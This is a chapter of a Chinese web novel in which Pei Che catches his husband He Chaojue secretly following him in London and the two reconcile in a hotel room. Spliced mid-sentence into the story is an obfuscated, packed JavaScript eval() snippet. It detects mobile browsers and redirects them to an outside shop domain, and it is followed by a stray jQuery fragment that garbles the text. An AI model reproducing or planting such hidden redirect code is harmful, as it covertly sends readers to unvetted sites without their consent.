那是在裴澈和贺朝觉婚后半年多。
他们结婚在一个尴尬的时间,裴父重病昏迷,裴母精神衰弱,裴澈刚准备从金融系提前毕业,拿着作品集跨专业申请学校。
消息到了A大,他一句话也没说,平静地回到家,接下公司的烂摊子,只有当时已经开始到处刷脸跑龙套的谢以寒知道他放弃了什么。
还有就是贺朝觉,裴澈都不知道他怎么知道的。
两人当时还没领证,贺朝觉注资盘活裴家公司之后的第一件事,就是找裴澈谈话,内容是支持他继续学业。
结婚证没捂热,就把闪婚老婆送上远去欧洲的飞机,当时T城圈子里看笑话的不少。
裴澈还记得那一天,经过回家结婚离家求学的跌宕,他在伦敦的平静生活刚满半年。
天气没有今天好,是欧洲冬日惯有的阴沉。
裴澈一个人在咖啡厅写剧本,服务生突然过来送他一杯咖啡。
“我没……”
“嘘,先生,后面有位英俊高大的男人在看你,你们都是华国人吗?”服务生妹子暧昧地眨眨眼,俏皮离开。
当时学校刚刚闹出青少年歧视华国人的恶性事件,裴澈敏感神经尚未消去,第一反应是防备。
就和现在一样,那个男人凭空消失了,回学校的一路上,裴澈都觉得有人在默默盯着自己。
之后几个师兄师姐自告奋勇轮流陪了他一段时间,最后也没出什么事,这件事很快不了了之,裴澈也渐渐忘记了。
现在一想,那之后没过几天,他不是就偶遇了来刚成立子公司视察的贺朝觉嘛!
裴澈拿着刀叉的手一滞,差点没给掰弯了,有被自己的联想震惊到。
对面的达安听见裴澈谈及往事,眉头一皱。
“跟踪狂?”
轻松神情瞬间消失,机警地四处打量,目光重点关照洗手间方向。
“澈,如果你觉得不安全了,要不要先回去,我送你回酒店休息。”
说着要抓向挂在一边的大衣,非常有绅士派头。
裴澈:“……”
要是他的想法没错,真相也太丢人了吧。
瞬间抿唇低头:“饿了,先吃完吧。”
匆匆扫干净盘中餐食,两人离开咖啡厅。达安还没放弃警惕,高大的身躯走在裴澈身边,保护意味十足。
作为导师的关门弟子,裴澈性格清冷又长得好看,师兄师姐们都很喜欢这株来自东方的独苗苗,关照有加。
裴澈不太习惯,但也不好意思说出口。
达安,那个跟踪狂可能大概也许是我的爱人。
……只能默默通过各种反光试图寻找贺朝觉的身影。
两人到了酒店楼下,达安还不放心,拉住裴澈交代着什么。
贺朝觉狗狗祟祟蹲在灌木边,双眼冒火,恨得牙痒痒。
走在一起那么亲密,他还拉阿澈的手!聊什么聊这么半天……
中间裴澈都道别走开了,达安又上去拽住他,凑到耳边说了几句话!
贺朝觉一口牙齿快要咬碎,才盼得黄毛离开。
一见裴澈进酒店大堂,等了几秒就巴巴跟进去。
里面却没见青年挺拔瘦削的背影,贺朝觉左右打量,朝前台走去。
“你好,刚刚进来的那位华国男人,长得很好看气质有点冷,他住在几层?”
脸蛋圆圆的棕皮姑娘闻言转过视线。
贺朝觉突然反应过来,连忙补充:“他叫裴澈,我是他的爱人。”
棕皮姑娘点点头,视线却没落在他脸上,而是越过肩头朝他身后看去。
贺朝觉:“???”
回头看去,就见一道熟悉的清凌身影。
青年闲闲倚站在沙发靠背边,身形高挑双腿修长,一手撑着靠背,朝他挑眉。
你好,跟踪狂先生。
……
贺朝觉乖乖跟着裴澈上楼,等青年掏出房卡打开门,他又不敢进去了。
“暖气足归足,还不需要开门给我降温。”
贺朝觉连忙关上门,顺道把自己关了进来。
裴澈坐在沙发上,不紧不慢地啜饮一口热水,把写着“月亮”的马克杯放到小几上。
贺朝觉在跟前委委屈屈罚站。
喝完水,青年抬头看过来,眉眼劲劲的像带了钩子。
“过来。”他勾勾手指。
贺朝觉滚动喉结,往前走了两步。
青年还嫌不够,表情不变,继续勾动手指。
男人跟随他的指令越走越近,一直近到俯身下去的阴影将青年整个罩在里面。
裴澈伸出一只手绕到贺朝觉颈后,像是某种请求的信号。
烫意从躯体内部烧上来,纠结数日的问题搅成一团浆糊,贺朝觉感受着阿澈的亲昵,抑制不住想要把他揽入怀里。
一根指头突然戳在额头,他刷地冷静了。
青年狡黠地从怀抱中溜出来,一手出指抵住他,另一只手举起扬了扬。
乘坐贺总偷渡进来的叶子一片。
裴澈恶人先告状:“怎么?好心帮你整理头发,你还想偷袭?”
……
贺朝觉局促地和裴澈挤在一处坐着。
阿澈也不说话,也没让他抱的意思,低眉轻轻弄着那只马克杯。
腻白修长的手指骨节分明,一看就很适合用另一只颜色不同的手掌握住。
贺朝觉思绪混乱,感觉喉咙有点干。
突然说:“那个黄毛不是好东西,他乱拉你的手!”
裴澈等了半天,就听到这。
无语:“那不是黄毛,是我师兄。人家头发天生就是金色的。”
“你师兄不是好东西,阿澈,他一看就对你图谋不轨!”
“哦——”裴澈意味深长地打量贺朝觉一眼,“对我图谋不轨的师兄确实有,你说哪一个?”
贺朝觉噎住,总觉得哪里不对。
等等,他思考很久那个人怎么盯上阿澈,又为什么对他夺舍,难道那个人也是校友?阿澈认识他?!
贺朝觉颤着声音,假装不懂:“阿澈,你在说什么?”
裴澈哼一声,猛戳一下他的脸:“真的假的?跑这里来还要和我装傻?你确定?”
贺朝觉:“……”
救命……阿澈是不是知道什么了?!
裴澈伸手捞过贺朝觉带在身边的斜挎包,扒拉扒拉里面的帽子墨镜:“装备还挺齐全,跟踪轻车熟路啊贺总。”
不等贺朝觉狡辩,一指勾起里面放着的马克杯,拎到他面前晃了晃。
“让你想的解释,想好了吗?”
贺朝觉:“!!!”
话挑明到这个份上,台阶给的足足的,裴澈抱臂靠在一边,要是还选择抗拒从严,贺朝觉今晚就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240063|146910||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
自己睡地板吧!
那只空白的丑陋马克杯衬在青年骨感纤长的指间,就像纯净画布上一点肮脏的罪迹。
贺朝觉犹豫一二,难以启齿,但深知隐瞒是对阿澈更大的伤害,他决定采用迂回的方式。
“阿澈,”他声音艰涩,取过裴澈手间的马克杯,碰到青年的皮肤,像地狱烈火灼得心头发疼,“这只马克杯,他不是好杯子,里面装满了肮脏的东西。”
他视线垂下,落在几上的另一只杯上:“他不知道暗暗筹划了多久,早就对另一只马克杯图谋不轨。”
裴澈撑着头在一边听,莫名觉得这种戏剧化的腔调可爱到心尖暖暖。
爱听,多说。
“然后呢?”
贺朝觉匆匆抬头看了裴澈一眼,烫着似地不敢对视。
“然后,他有了一个很坏的主意,想要……”
他深吸一口气,举起手里的坏杯子,狠狠朝下比了个手势,如同要把另一只杯子砸碎:“拉着这只纯洁干净的杯子一起——”
玉石俱焚,坠入地狱。
裴澈刷一下握住他的手。
说到一半的贺朝觉:“???”
一股力引着向下的力道一偏,空白马克杯砰地一声落在几上,歪在月亮马克杯旁边。
“一起过一辈子,永远在一起!”
贺朝觉什么反应都来不及有,裴澈已经笑眯眯往空白马克杯里分了点热水,爱心浮现出来,和另一半啪唧合在一块。
同时,一个干燥温软的吻落在贺朝觉嘴上:“准了!”
渴求多日的气息猝不及防逼近,亲得贺总晕晕乎乎。
等他清醒过来,手臂已经伸开环住身边人,青年亲昵地歪在他怀里。
裴澈一边拿脸颊蹭贺朝觉下巴上的胡茬,一边笑话他:“干嘛把你自己说得像个十恶不赦的坏蛋一样?嗯?还没忘记你的剧本?”
贺朝觉正苦想裴澈、自己和那个人的关系,身体已是一僵,条件反射:“没有剧本!”
裴澈戳戳胸口:“太硬了。”
贺朝觉乖乖放松。
这才满意,偏头亲了口下巴:“你刚刚说……坏杯子里面装着肮脏的东西,有多脏?”
真的很脏,他连你爸爸都不放……过。
!!!!!!
贺朝觉猛地一震,浑身上下更僵硬了。不敢置信地低头看去,和满眼无辜作乱的青年对视。
青年纤长睫毛轻颤,眸光流转,眼底漫上来轻轻浅浅的水意。
偏偏促狭地眨眼,看起来也坏透了。
“让我看看,这只杯子能有多坏。”裴澈低低说着,搂着爱人的脖颈凑上去,把唇齿送入一个绵长到让人融化的吻。
屋内的温度节节攀升,齿间磕绊着,贺朝觉起先还以为自己在推拒,渐渐绝望地发现自己竟然回应得相当热情!
不行,这件事还没有说清楚!
阿澈编造的记忆太过离谱,贺朝觉猜不透现在三个人的关系是什么样子。
但那个人的罪孽,是用他的壳子犯下的,无论是谁,阿澈都不会轻易原谅吧……
不原谅他。
贺朝觉眼角忍不住红了,将身上的青年抱得更紧,仿佛要用力把珍贵的宝贝嵌入自己骨血之中。
不用原谅他。
阿澈,我刚刚说错了,那只杯子是坏杯子,我原来也是一只卑劣的坏杯子!